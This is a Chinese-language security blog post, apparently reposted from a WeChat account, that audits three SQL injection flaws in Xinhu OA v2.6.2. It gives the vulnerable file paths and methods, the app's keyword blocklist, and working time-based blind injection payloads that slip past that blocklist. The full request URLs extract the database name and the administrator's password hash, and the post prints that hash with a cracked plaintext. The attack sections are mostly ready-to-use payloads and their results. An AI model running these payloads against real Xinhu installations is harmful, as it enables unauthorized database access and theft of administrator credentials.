信呼 OA v2.6.2 sql注入

admin 2025年5月29日16:54:44评论22 views字数 3466阅读11分33秒阅读模式

No.1

SQL注入-1

代码审计

漏洞点出在 

/webmain/flow/input/mode_gongAction.php 

下的 submittoupiaoAjax 方法

信呼 OA v2.6.2 sql注入

可以发现它对传入参数没有进行任何的过滤便拼接执行 SQL 注入

(PS:虽然 get 和 post 请求进行了全局过滤,但过滤不严可以绕过)

url:

http://localhost/index.php?a=submittoupiao&m=mode_gong|input&d=flow&ajaxbool=true&mid=3&sid=1&modenum=1

通过跟踪 SQL 执行,可以看到实际上执行的是以下 sql 语句

update `xinhu_infors` set `touci`=`touci`+1 where `mid`=3 and `id` in(1)

其中 $mid 和 $sid 我们都可以进行注入,此处我选择 $mid 进行注入

不过它 get 和 post 传参过滤了很多参数(已经丧心病狂到影响内容的程度了...)

select,alter,delete,drop,update,/*,*/,insert,from,time_so_sec,convert,from_unixtime,unix_timestamp,curtime,time_format,union,concat,information_schema,group_concat,length,load_file,outfile,database,system_user,current_user,user(),found_rows,declare,master,exec,(),select*from,select

但黑名单总是不如白名单的,所以简单 bypass 下得出以下 poc

3||if(ascii(substr((select(database())),1,1))=114,benchmark(666666666,1),0)#
信呼 OA v2.6.2 sql注入

尝试注出当前数据库名

3||if(ascii(substr((select(database())),1,1))=114,benchmark(666666666,1),0)#
信呼 OA v2.6.2 sql注入

第一个字符为 r

3||if(ascii(substr((select(database())),2,1))=110,benchmark(666666666,1),0)#
信呼 OA v2.6.2 sql注入
3||if(ascii(substr((select(database())),2,1))=111,benchmark(666666666,1),0)#
信呼 OA v2.6.2 sql注入

第二个字符为 o

最后注入出当前数据库为 rockxinhu

除此之外,使用以下 poc 还可以注出管理员密码:

/index.php?a=submittoupiao&m=mode_gong|input&d=flow&ajaxbool=true&mid=0||IF(ASCII(SUBSTR((SELECT(pass)FROM(`xinhu_admin`)WHERE(id=1)),1,1))=98,BENCHMARK(666666666,1),0)#&sid=1&modenum=1
信呼 OA v2.6.2 sql注入

No.2

SQL注入-2

代码审计

漏洞点出在 

/webmain/flow/input/mode_knowtraimAction.php

 下的 biaoshiAjax 方法

信呼 OA v2.6.2 sql注入

可以发现它对传入参数没有进行任何的过滤便拼接执行 SQL 注入

url:

http://localhost/index.php?d=flow&m=mode_knowtraim|input&a=biaoshi&ajaxbool=trueupdate `xinhu_knowtrais` set`kssdt`=null,`ksedt`=null,`fenshu`='0',`kstime`='0',`isks`='0',`tkids`=null,`dyids`=null,`dyjgs`=null where `id` in(1) and `mid` in(select `id` from`[Q]knowtraim` where `state`<>

通过跟踪 SQL 执行,可以看到实际上执行的是以下 sql 语句

其中 $fid 我们可以进行注入

select,alter,delete,drop,update,/*,*/,insert,from,time_so_sec,convert,from_unixtime,unix_timestamp,curtime,time_format,union,concat,information_schema,group_concat,length,load_file,outfile,database,system_user,current_user,user(),found_rows,declare,master,exec,(),select*from,select*

bypass 下得出以下 poc

1)&&IF(1=1,BENCHMARK(666666666,1),0)#
信呼 OA v2.6.2 sql注入

尝试注出管理员密码

1)&&IF(ascii(substr((select(pass)from(`xinhu_admin`)where(id=1)),1,1))=98,BENCHMARK(666666666,1),0)#
信呼 OA v2.6.2 sql注入

得到第一个字符为 'b

1)&&IF(ascii(substr((select(pass)from(`xinhu_admin`)where(id=1)),2,1))=98,BENCHMARK(666666666,1),0)#
信呼 OA v2.6.2 sql注入
1)&&IF(ascii(substr((select(pass)from(`xinhu_admin`)where(id=1)),2,1))=49,BENCHMARK(666666666,1),0)#
信呼 OA v2.6.2 sql注入

得到第二个字符为 '1

最后得到管理员的密码为:b13d93cd920d4155634eae0cc2e71c78

解密后是:Aa635241

No.3

SQL注入-3

代码审计

漏洞点出在 

/webmain/flow/input/mode_userAction.php

 下的 editsuperAjax 方法

信呼 OA v2.6.2 sql注入

可以发现它对传入参数没有进行任何的过滤便拼接执行 SQL 注入

url:

http://localhost/index.php?d=flow&m=mode_user|input&a=editsuper&ajaxbool=true

通过跟踪 SQL 执行,可以看到实际上执行的是以下 sql 语句

update `xinhu_admin` set `superid`='1',`superman`='1' where `id` in(1) and idnot in(1)

其中 $sid 和 $xid 我们都可以进行注入,此处我选择 $xid 进行注入

不过它 get 和 post 传参过滤了很多参数(已经丧心病狂到影响内容的程度了...)

select,alter,delete,drop,update,/*,*/,insert,from,time_so_sec,convert,from_unixtime,unix_timestamp,curtime,time_format,union,concat,information_schema,group_concat,length,load_file,outfile,database,system_user,current_user,user(),found_rows,declare,master,exec,(),select*from,select*

但黑名单总是不如白名单的,所以简单 bypass 下得出以下 poc

1)&&IF(1=1,BENCHMARK(666666666,1),0)#
信呼 OA v2.6.2 sql注入

尝试注出当前数据库

1)&&IF(ASCII(SUBSTR(DATABASE(),1,1))=114,BENCHMARK(666666666,1),0)#
信呼 OA v2.6.2 sql注入

得到第一个字符为 'r'

1)&&IF(ASCII(SUBSTR(DATABASE(),2,1))=114,BENCHMARK(666666666,1),0)#
信呼 OA v2.6.2 sql注入
1)&&IF(ASCII(SUBSTR(DATABASE(),2,1))=111,BENCHMARK(666666666,1),0)#
信呼 OA v2.6.2 sql注入

得到第二个字符为 'o

最后得到当前数据库为:rockxinhu

No.4

原文始发于微信公众号(隐雾安全):信呼 OA v2.6.2 sql注入

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年5月29日16:54:44
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   信呼 OA v2.6.2 sql注入http://cn-sec.com/archives/4110698.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息